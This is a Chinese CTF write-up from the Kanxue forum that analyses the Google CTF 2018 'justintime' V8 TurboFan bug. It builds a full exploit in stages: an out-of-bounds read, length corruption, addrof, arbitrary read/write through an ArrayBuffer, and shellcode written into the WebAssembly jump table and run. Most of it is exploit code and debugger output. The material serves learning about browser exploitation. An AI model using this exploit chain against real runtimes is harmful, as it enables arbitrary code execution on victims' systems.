Chrom V8分析入门——Google CTF2018 justintime分析
本文为看雪论坛精华文章
看雪论坛作者ID:LarryS
1
环境搭建
(1)确定v8版本
wget https://nodejs.org/download/release/v11.1.0/node-v11.1.0.tar.gz --no-check-certificatetar -xf node-v11.1.0.tar.gzgit apply ~/attachments/addition-reducer.patchsudo apt install g++ python makesudo ./configure --debugsudo make -j4sudo make install PREFIX=/opt/node-debug/sudo cp -a -f out/Debug/node /opt/node-debug/node2
问题代码分析
DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph, CommonOperatorBuilder* common) : AdvancedReducer(editor), graph_(graph), common_(common) {} Reduction DuplicateAdditionReducer::Reduce(Node* node) { switch (node->opcode()) { case IrOpcode::kNumberAdd: return ReduceAddition(node); default: return NoChange(); }} Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) { DCHECK_EQ(node->op()->ControlInputCount(), 0); DCHECK_EQ(node->op()->EffectInputCount(), 0); DCHECK_EQ(node->op()->ValueInputCount(), 2); Node* left = NodeProperties::GetValueInput(node, 0); if (left->opcode() != node->opcode()) { return NoChange(); } Node* right = NodeProperties::GetValueInput(node, 1); if (right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); } Node* parent_left = NodeProperties::GetValueInput(left, 0); Node* parent_right = NodeProperties::GetValueInput(left, 1); if (parent_right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); } double const1 = OpParameter<double>(right->op()); double const2 = OpParameter<double>(parent_right->op()); Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2)); NodeProperties::ReplaceValueInput(node, parent_left, 0); NodeProperties::ReplaceValueInput(node, new_const, 1); return Changed(node);}3
漏洞分析
3.1 IEEE 754标准的64位浮点格式
max_value = 1 * (1 + 0.1111...1111) * 2^52 // 小数点后有52个'1'd8> Math.pow(2, 53) - 19007199254740991// max_value的二进制表示// 1 * 2^(1075-1023) * 1.1111...1111b = 11111...11111b(53-bit) = 90071992547409911 10000110011 1111111111111111111111111111111111111111111111111111// max_value + 1// 1 * 2^(1076-1023) * 1.0b = 2^53 = 90071992547409921 10000110100 0000000000000000000000000000000000000000000000000000// max_value + 2// 1 * 2^(1076-1023) * 1.0000...0001b = 10000...00010b(54-bit) = 2^53 + 2 = 90071992547409941 10000110100 00000000000000000000000000000000000000000000000000013.2 x+1+1与x+2
function opt_me() { let x = Number.MAX_SAFE_INTEGER + 1; let y = x + 1 + 1; let z = x + 2; return (y, z);} for (var i = 0; i < 0x1000000; ++i) { opt_me(i);}3.3 OOB
function try1(x) { let bug_arr = [1.1, 2.2, 3.3, 4.4]; let y = (x ? 9007199254740992 : 9007199254740989) y = y + 1 + 1; y = y - 9007199254740990; return bug_arr[y];} for (var i = 0; i < 0x1000000; ++i) { try1(false);}console.log(try1(true));一个长度为4的数组,用于实现越界读;
变量y,会根据参数x取9007199254740992或者9007199254740989,其中9007199254740992是为了之后+1+1操作触发漏洞,9007199254740989这个值需要保证完成+1+1后不等于9007199254740992(当然加法之前相等也不行,否则TurboFan会将y优化成一个常数,try1的返回值是固定的,所有过程都优化掉了),且和9007199254740990的差为正数;
y+1+1操作用于触发漏洞,y的可能取值为9007199254740992或9007199254740991,经过TypedLoweringPhase的DuplicateAdditionReducer之后,可能取值变成了9007199254740994或者9007199254740991;
减法操作,得到索引值,可能取值为2或1,经过DuplicateAdditionReducer后,可能取值变成了4(超过了数组索引值范围)或1。
返回bug_arr[y],发生越界读。
root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try1.js2.107088725459e-311// simplified-lowering.ccvoid VisitNode(Node* node, Truncation truncation, SimplifiedLowering* lowering) {... case IrOpcode::kCheckBounds: { const CheckParameters& p = CheckParametersOf(node->op()); Type index_type = TypeOf(node->InputAt(0)); Type length_type = TypeOf(node->InputAt(1)); if (index_type.Is(Type::Integral32OrMinusZero())) { // Map -0 to 0, and the values in the [-2^31,-1] range to the // [2^31,2^32-1] range, which will be considered out-of-bounds // as well, because the {length_type} is limited to Unsigned31. VisitBinop(node, UseInfo::TruncatingWord32(), MachineRepresentation::kWord32); if (lower() && lowering->poisoning_level_ == PoisoningMitigationLevel::kDontPoison) { if (index_type.IsNone() || length_type.IsNone() || (index_type.Min() >= 0.0 && index_type.Max() < length_type.Min())) { // The bounds check is redundant if we already know that // the index is within the bounds of [0.0, length[. DeferReplacement(node, node->InputAt(0)); } } } else { VisitBinop( node, UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()), UseInfo::TruncatingWord32(), MachineRepresentation::kWord32); } return; }...}3.4 扩大OOB范围
function try1(x) { let bug_arr= [1.1, 2.2, 3.3, 4.4]; let y = (x ? 9007199254740992 : 【normal_value】) y = y + 1 + 1; y = y - 【start_value】; return bug_arr[y];}for (var i = 0; i < 0x1000000; ++i) { try1(false);}console.log(try1(true));-1 < normal_value - start_value + 2 < 4// 即start_value - 3 < normal_value < start_value + 2-1 < 9007199254740992 - start_value < 4normal_value != 9007199254740992normal_value + 2 != 9007199254740992function try1(x) { let bug_arr= [1.1, 2.2, 3.3, 4.4]; let y = (x ? 9007199254740992 : 9007199254740989) y = y + 1 + 1; y = y - 9007199254740989; console.log(y); return bug_arr[y];}for (var i = 0; i < 0x1000000; ++i) { try1(false);}console.log(try1(true));root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try1.js2.9570928586621e-310d8> x = Math.pow(2, 54)18014398509481984d8> x + 2 + 218014398509481984d8> x + 418014398509481988d8> x = Math.pow(2, 53)9007199254740992d8> 10*(x +1 +1)90071992547409920d8> 10*(x +2)900719925474099404
利用OOB W/R的方法
4.1 前置知识
4.1.1 Pointer Tagging
4.1.2 数组相关结构
// JSArray0x00 : Pointer to Map0x08 : Pointer to Outline Properties0x10 : Pointer to Elements0x18 : Length // FixedArray, FixedDoubleArray0x00 : Pointer to Map0x08 : Length0x10 : Element 10x18 : Element 20x20 : ...// JSArrayBuffer0x00 : Pointer to Map0x08 : Pointer to Outline Properties0x10 : Pointer to Elements0x18 : Length0x20 : Pointer to Backing Store0x28 : ...4.2 利用方法分析
4.3 更简单的OOB方式
4.3.1 调试方法
js脚本的修改
在适当位置添加%DebugPrint,输出感兴趣的对象的信息;
脚本最后添加一个无限循环语句
node —allow-natives-syntax 执行脚本
从%DebugPrint的输出中获得对象地址等信息,用于后续调试;
由于无限循环语句,进程挂起;
通过ps -a | grep node的方式找到该进程的PID;
使用gdb attach [pid]或者其他调试器附加到该进程,开始调试。
4.3.2 实验代码
let ab = new ArrayBuffer(8);let fv = new Float64Array(ab);let dv = new BigUint64Array(ab); let f2i = (f) => { fv[0] = f; return dv[0];} function tohex(v) { return (v).toString(16).padStart(16, "0");} function output(idx, value, a) { console.log("Index is " + idx); console.log("Array length is " + a.length); console.log("Value is " + tohex(f2i(value)));} function try2(x) { let bug_arr = [1.1, 2.2, 3.3, 4.4, 5.5]; oob_arr = [6.6, 7.7, 8.8]; let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; let v = bug_arr[y]; if (x) { output(y, v, bug_arr); %DebugPrint(bug_arr); %DebugPrint(oob_arr); } return v;} for (var i = 0; i < 0x1000000; ++i) { try1(false);}console.log(try1(true));while(1) {}4.3.3 调试分析
root@test-vm:/home/test/ctf2018# node --allow-natives-syntax try2.jsIndex is 6Array length is 5Value is 00000003000000000x3e7e89d3c159 <JSArray[5]>0x12b40ca86829 <JSArray[3]>6.365987373e-314(gdb) x/20gx 0x3e7e89d3c159-10x3e7e89d3c158: 0x00000034b0f02931 0x00001cf6cec02d29 // bug_arr JSArray: pointer to map, pointer to outline properties0x3e7e89d3c168: 0x000012b40ca867c9 0x0000000500000000 // bug_arr JSArray: pointer to elements, length0x3e7e89d3c178: 0x00001cf6cec02539 0x000000005dc15cda 0x3e7e89d3c188: 0x0000000900000000 0x7369207865646e49 0x3e7e89d3c198: 0x0000000000000020 0x00001cf6cec025390x3e7e89d3c1a8: 0x000000004c3556ba 0x00000010000000000x3e7e89d3c1b8: 0x656c207961727241 0x207369206874676e0x3e7e89d3c1c8: 0x00001cf6cec02539 0x00000000a41e9f2a0x3e7e89d3c1d8: 0x0000000900000000 0x73692065756c61560x3e7e89d3c1e8: 0x0000000000000020 0x00001cf6cec02a49(gdb) x/20gx 0x000012b40ca867c9-10x12b40ca867c8: 0x00001cf6cec03539 0x0000000500000000 // bug_arr FixedDoubleArray: pointer to Map, length0x12b40ca867d8: 0x3ff199999999999a 0x400199999999999a // bug_arr FixedDoubleArray: element1 1.1, element2 2.20x12b40ca867e8: 0x400a666666666666 0x401199999999999a // bug_arr FixedDoubleArray: element3 3.3, element4 4.40x12b40ca867f8: 0x4016000000000000 0x00001cf6cec03539 // bug_arr FixedDoubleArray: element5 5.5 arr2: pointer to Map0x12b40ca86808: 0x0000000300000000 0x401a666666666666 // oob_arr FixedDoubleArray: length【越界读】, element1 6.60x12b40ca86818: 0x401ecccccccccccd 0x402199999999999a // oob_arr FixedDoubleArray: element2 7.7, element3 8.80x12b40ca86828: 0x00000034b0f02931 0x00001cf6cec02d29 // oob_arr JSArray: pointer to map, pointer to outline properties0x12b40ca86838: 0x000012b40ca86801 0x0000000300000000 // oob_arr JSArray: pointer to elements, length0x12b40ca86848: 0x00001cf6cec02641 0x00000003000000000x12b40ca86858: 0x00001cf6cec02641 0x00000003000000004.3.4 覆写长度属性
function try2(x) { let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1]; oob_arr = [2.2, 2.2]; let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; // 这里偏移是6 或 2 y = y * 2; // *2 偏移是12 或 4 let v = bug_arr[y]; bug_arr[y] = i2f(0x0000006400000000); if (x) { output(y, v, bug_arr); %DebugPrint(bug_arr); %DebugPrint(oob_arr); } return v;}Index is 12Array length is 5Value is 00000002000000000x3ee7696bcab1 <JSArray[5]>0x096c273bee59 <JSArray[100]>4.243991582e-3144.4 获取对象地址的能力
let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000; function try2(x) { let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1]; oob_arr = [2.2, 2.2]; obj_arr = [MARKER1, Math]; // 假设想要得到地址的对象是Math // overwrite the length of oob_arr let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; y = y * 2; let v = bug_arr[y]; bug_arr[y] = i2f(OOB_LENGTH_64); if (x) { let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1; let obj_addr = f2i(oob_arr[addr_idx]) - 1n; console.log(tohex(obj_addr)); %DebugPrint(obj_arr); } return v;}test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js0000356298e93df00x3d07774cffe1 <JSArray[2]>4.243991582e-314(gdb) x/4gx 0x3d07774cffe00x3d07774cffe0: 0x00000fddef0029d1 0x0000278ca0902d290x3d07774cfff0: 0x00003d07774cffc1 0x0000000200000000(gdb) x/4gx 0x00003d07774cffc00x3d07774cffc0: 0x0000278ca09028b9 0x00000002000000000x3d07774cffd0: 0x0000001100000000 0x0000356298e93df14.5 任意地址读写的能力
let AB_LENGTH = 0x100;let AB_LENGTH_64 = 0x0000010000000000;let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000; function try2(x) { let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1]; oob_arr = [2.2, 2.2]; obj_arr = [MARKER1, Math]; buf_arr = new ArrayBuffer(AB_LENGTH); // overwrite the length of oob_arr let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; y = y * 2; let v = bug_arr[y]; bug_arr[y] = i2f(OOB_LENGTH_64); if (x) { let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1; let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1; let obj_addr = oob_arr[addr_idx]; oob_arr[bp_idx] = obj_addr; // 修改backing pointer,设置想要读/写的地址 // 以uint64的格式读/写地址 let view = new BigUint64Array(buf_arr); // 写入的地址是obj_addr,首位应该是map,这里对其进行篡改 view[0] = 0x4141414141414141n; %DebugPrint(obj_arr); %DebugPrint(obj_arr[1]); } return v;}test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js0x1f1c989d0669 <JSArray[2]>0x18d4029d06e9 Segmentation fault (core dumped)(gdb) x/4gx 0x1f1c989d06680x1f1c989d0668: 0x000012eb4c5829d1 0x00001fc855802d290x1f1c989d0678: 0x00001f1c989d0649 0x0000000200000000(gdb) x/4gx 0x00001f1c989d06480x1f1c989d0648: 0x00001fc8558028b9 0x00000002000000000x1f1c989d0658: 0x0000001100000000 0x000007bfc3593df1(gdb) x/4gx 0x000007bfc3593df10x7bfc3593df1: 0x4141414141414141 0x29000007bfc359490x7bfc3593e01: 0x6900001fc855802d 0x164005bf0a8b14574.6 利用WebAssembly获取可执行内存地址
4.6.1 获取WebAssembly编译后函数
// 这里保存二进制代码var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);// 下面进行加载var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main;4.6.2 分析源码得到jump table所在偏移
- JSFunction -> - SharedFunctionInfo pointer -> - (WasmExportedFunctionData)function data pointer -> - WasmInstanceObject pointer -> - jump table start address - function index// node/v8/src/objects.h// Object::kHeaderSize = 0static const int kHeaderSize = 0; // HeapObject::kHeaderSize = 8static const int kMapOffset = Object::kHeaderSize;static const int kHeaderSize = kMapOffset + kPointerSize; // JSReceiver::kHeaderSize = 16static const int kHeaderSize = HeapObject::kHeaderSize + kPointerSize; // JSObject::kHeaderSize = 24static const int kElementsOffset = JSReceiver::kHeaderSize;static const int kHeaderSize = kElementsOffset + kPointerSize;// node/v8/src/objects.h#define JS_FUNCTION_FIELDS(V) \ /* Pointer fields. */ \ V(kSharedFunctionInfoOffset, kPointerSize) \ V(kContextOffset, kPointerSize) \ ... DEFINE_FIELD_OFFSET_CONSTANTS(JSObject::kHeaderSize, JS_FUNCTION_FIELDS)#undef JS_FUNCTION_FIELDS// /node/v8/src/objects/shared-function-info.h#define SHARED_FUNCTION_INFO_FIELDS(V) \ /* Pointer fields. */ \ V(kStartOfPointerFieldsOffset, 0) \ V(kFunctionDataOffset, kPointerSize) \ ... DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize, SHARED_FUNCTION_INFO_FIELDS)#undef SHARED_FUNCTION_INFO_FIELDS// /node/v8/src/wasm/wasm-objects.h#define WASM_EXPORTED_FUNCTION_DATA_FIELDS(V) \ V(kWrapperCodeOffset, kPointerSize) \ V(kInstanceOffset, kPointerSize) \ V(kJumpTableOffsetOffset, kPointerSize) /* Smi */ \ V(kFunctionIndexOffset, kPointerSize) /* Smi */ \ V(kSize, 0) DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize, WASM_EXPORTED_FUNCTION_DATA_FIELDS)#undef WASM_EXPORTED_FUNCTION_DATA_FIELDS// /node/v8/src/wasm/wasm-objects.h#define WASM_INSTANCE_OBJECT_FIELDS(V) \ ... // 省略了15行 V(kFirstUntaggedOffset, 0) /* marker */ \ V(kMemoryStartOffset, kPointerSize) /* untagged */ \ V(kMemorySizeOffset, kSizetSize) /* untagged */ \ V(kMemoryMaskOffset, kSizetSize) /* untagged */ \ ... // 省略了8行 V(kJumpTableStartOffset, kPointerSize) /* untagged */ \ V(kIndirectFunctionTableSizeOffset, kUInt32Size) /* untagged */ \ V(k64BitArchPaddingOffset, kPointerSize - kUInt32Size) /* padding */ \ V(kSize, 0) DEFINE_FIELD_OFFSET_CONSTANTS(JSObject::kHeaderSize, WASM_INSTANCE_OBJECT_FIELDS)#undef WASM_INSTANCE_OBJECT_FIELDS// /node/v8/src/globals.hconstexpr int kSizetSize = sizeof(size_t);kSharedFunctionInfoOffset: 3kFunctionDataOffset: 1kInstanceOffset: 2kJumpTableStartOffset: 294.6.3 偏移值验证
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_mod = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_mod);var f = wasm_instance.exports.main; %DebugPrint(f); while(1) {}test@test-vm:~/ctf2018$ node_debug --allow-natives-syntax wasm_test.jsDebugPrint: 0x15e5d1c8141: [Function] in OldSpace - map: 0x27335a1062b1 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x392436f04669 <JSFunction (sfi = 0x205dbb084df1)> - elements: 0x22c411e02d29 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x015e5d1c8109 <SharedFunctionInfo 0> - name: 0x22c411e08691 <String[1]: 0> - formal_parameter_count: 0 - kind: NormalFunction - context: 0x392436f03da1 <NativeContext[252]> - code: 0x2ce1fe39bce1 <Code JS_TO_WASM_FUNCTION> - WASM instance 0x15e5d1c7f69 - WASM function index 0...(gdb) x/4gx 0x15e5d1c8140 // JS_FUNCTION0x15e5d1c8140: 0x000027335a1062b1 0x000022c411e02d290x15e5d1c8150: 0x000022c411e02d29 0x0000015e5d1c8109(gdb) x/2gx 0x0000015e5d1c8108 // SharedFunctionInfo0x15e5d1c8108: 0x000022c411e02a99 0x0000015e5d1c80e1(gdb) x/3gx 0x0000015e5d1c80e0 // FunctionData0x15e5d1c80e0: 0x000022c411e09479 0x00002ce1fe39bce10x15e5d1c80f0: 0x0000015e5d1c7f69 (gdb) x/30gx 0x0000015e5d1c7f68 // Instance0x15e5d1c7f68: 0x000027335a108421 0x000022c411e02d290x15e5d1c7f78: 0x000022c411e02d29 0x00002dd2cf94e1890x15e5d1c7f88: 0x00002dd2cf94e371 0x0000392436f03da10x15e5d1c7f98: 0x0000015e5d1c8061 0x000022c411e025b10x15e5d1c7fa8: 0x000022c411e025b1 0x000022c411e025b10x15e5d1c7fb8: 0x000022c411e025b1 0x000022c411e02d290x15e5d1c7fc8: 0x000022c411e02d29 0x000022c411e025b10x15e5d1c7fd8: 0x00002dd2cf94e301 0x000022c411e025b10x15e5d1c7fe8: 0x000022c411e022a1 0x00002ce1fe068ae10x15e5d1c7ff8: 0x00007f8e90000000 0x00000000000100000x15e5d1c8008: 0x000000000000ffff 0x000055f2affd67f80x15e5d1c8018: 0x000055f2affdd938 0x000055f2affdd9280x15e5d1c8028: 0x000055f2b007f6c0 0x00000000000000000x15e5d1c8038: 0x000055f2b007f6e0 0x00000000000000000x15e5d1c8048: 0x0000000000000000 0x00001b3e42795000(gdb) x/1gx 0x00001b3e42795000 // JumpTableStart0x1b3e42795000: 0x1b3e427954a0ba494.6.4 获得可执行内存的代码
let AB_LENGTH = 0x100;let AB_LENGTH_64 = 0x0000010000000000;let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000; function try2(x) { let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1]; oob_arr = [2.2, 2.2]; obj_arr = [MARKER1, Math]; buf_arr = new ArrayBuffer(AB_LENGTH); // overwrite the length of oob_arr let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; y = y * 2; let v = bug_arr[y]; bug_arr[y] = i2f(OOB_LENGTH_64); if (x) { let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1; let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1; var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; // get address of wasm_instance obj_arr[1] = wasm_instance; let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n; // add offset 29 * 8 = E8 let jump_table_ptr = wasm_instance_addr + 0xE8n; // read the number at jump_table_ptr // which is jump table start address oob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointer let view = new BigUint64Array(buf_arr); // read backing store in uint64 format let jump_table_addr = view[0]; console.log(tohex(jump_table_addr)); } return v;}test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js00003e9245ae80004.243991582e-3144.7 写入shellcode,触发!
let shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00]; let ab = new ArrayBuffer(8);let fv = new Float64Array(ab);let dv = new BigUint64Array(ab); function f2i(f) { fv[0] = f; return dv[0];} function i2f(i) { dv[0] = BigInt(i); return fv[0];} let AB_LENGTH = 0x100;let AB_LENGTH_64 = 0x0000010000000000;let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000; function pwn(x) { let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1]; oob_arr = [2.2, 2.2]; obj_arr = [MARKER1, Math]; buf_arr = new ArrayBuffer(AB_LENGTH); // overwrite the length of oob_arr let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; y = y * 2; let v = bug_arr[y]; bug_arr[y] = i2f(OOB_LENGTH_64); if (x) { let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1; let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1; var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; // get address of wasm_instance obj_arr[1] = wasm_instance; let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n; // add offset 29 * 8 = E8 let jump_table_ptr = wasm_instance_addr + 0xE8n; // read the number at jump_table_ptr // which is jump table start address oob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointer let view = new BigUint64Array(buf_arr); // read backing store in uint64 format let jump_table_addr = view[0]; // write in shellcode at jump table oob_arr[bp_idx] = i2f(jump_table_addr); // change backing pointer view = new Uint32Array(buf_arr); // write backing store in uint32 format for (let i = 0; i < shellcode.length; ++i) { view[i] = shellcode[i]; } f(); // 调用函数,执行shellcode } return v;} for (var i = 0; i < 0x10; ++i) { pwn(false);}%OptimizeFunctionOnNextCall(pwn);console.log(pwn(true));4.8 关于fakeobj和addrof
// get address of wasm_instanceobj_arr[1] = wasm_instance;let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n;// read the number at jump_table_ptr// which is jump table start addressoob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointerlet view = new BigUint64Array(buf_arr); // read backing store in uint64 formatlet jump_table_addr = view[0];5
总结
6
参考资料
1、Github项目(题目信息及资料下载)
2、Introduction to TurboFan(关键文章!!!)
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
3、Double-precision floating-point format(基础知识)
https://en.wikipedia.org/wiki/Double-precision_floating-point_format
4、Google CTF justintime exploit(参考,没有仔细看)
https://eternalsakura13.com/2018/11/19/justintime/
5、V8 Objects and Their Structures(基础知识)
https://pwnbykenny.com/2020/07/05/v8-objects-and-their-structures/
6、An Introduction to Speculative Optimization in V8(只看了前半部分,v8基础)
https://ponyfoo.com/articles/an-introduction-to-speculative-optimization-in-v8
7、Chrome V8文档(一些不了解的琐碎的知识点是在这里学习的)
https://v8.dev/blog
8、Exploiting the Math.expm1 typing bug in V8(关键文章!!!)
https://abiondo.me/2019/01/02/exploiting-math-expm1-v8
9、ArrayBuffer(关于ArrayBuffer的介绍)
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer
10、Exploiting v8: *CTF 2019 oob-v8(关键文章!!!个人觉得对于addrof和fakeobj介绍的很好)
https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
# 往期推荐
4.通过PsSetLoadImageNotifyRoutine学习模块监控与反模块监控
球分享
球点赞
球在看
点击“阅读原文”,了解更多!